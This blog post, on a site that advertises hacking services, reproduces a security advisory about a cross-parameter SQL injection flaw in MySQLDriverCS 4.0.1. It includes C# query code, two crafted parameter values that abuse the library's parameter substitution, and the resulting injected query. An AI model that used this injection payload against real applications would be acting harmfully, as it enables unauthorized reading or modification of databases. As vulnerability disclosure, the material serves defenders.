Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86374067

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/48466/info

MySQLDriverCS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

MySQLDriverCS 4.0.1 is vulnerable; other versions may also be affected.

There is an example for illustrating the attack against the vulnerability:
----------------------------------------------------------------------
DataTable dt = new DataTable();
MySQLConnection conn = new MySQLConnection(CONN_STRING);
MySQLDataAdapter Cmd = new MySQLDataAdapter();
string sCmdText = "SELECT * FROM filelist where FILENAME=@sFileName AND LANGUAGE=@sLanguage";
Cmd.SelectCommand = new MySQLCommand(sCmdText, conn);
Cmd.SelectCommand.Connection.Open();
Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sFileName", SqlDbType.VarChar));
Cmd.SelectCommand.Parameters["@sFileName"].Value = sFileName;
Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sLanguage", SqlDbType.VarChar));
Cmd.SelectCommand.Parameters["@sLanguage"].Value = sLanguage;
Cmd.Fill(dt);
Cmd.SelectCommand.Connection.Close();
----------------------------------------------------------------------

Assigning (one parameter is assigned with SQL injection attack vector, while another one is assigned with a string which contains the parameter name of the first.):
----------------------------------------------------------------------
@sFileName: " or 1=1 -- -"
@sLanguage: "cn@sFileName"
----------------------------------------------------------------------

Then, the final sql query statement executed by Mysql is as following:
----------------------------------------------------------------------
SELECT * FROM filelist where FILENAME=' or 1=1 -- -' AND LANGUAGE='cn' or 1=1 -- -''
----------------------------------------------------------------------
Of course, we should use two parameters to launch a cross-parameter SQL injection attack.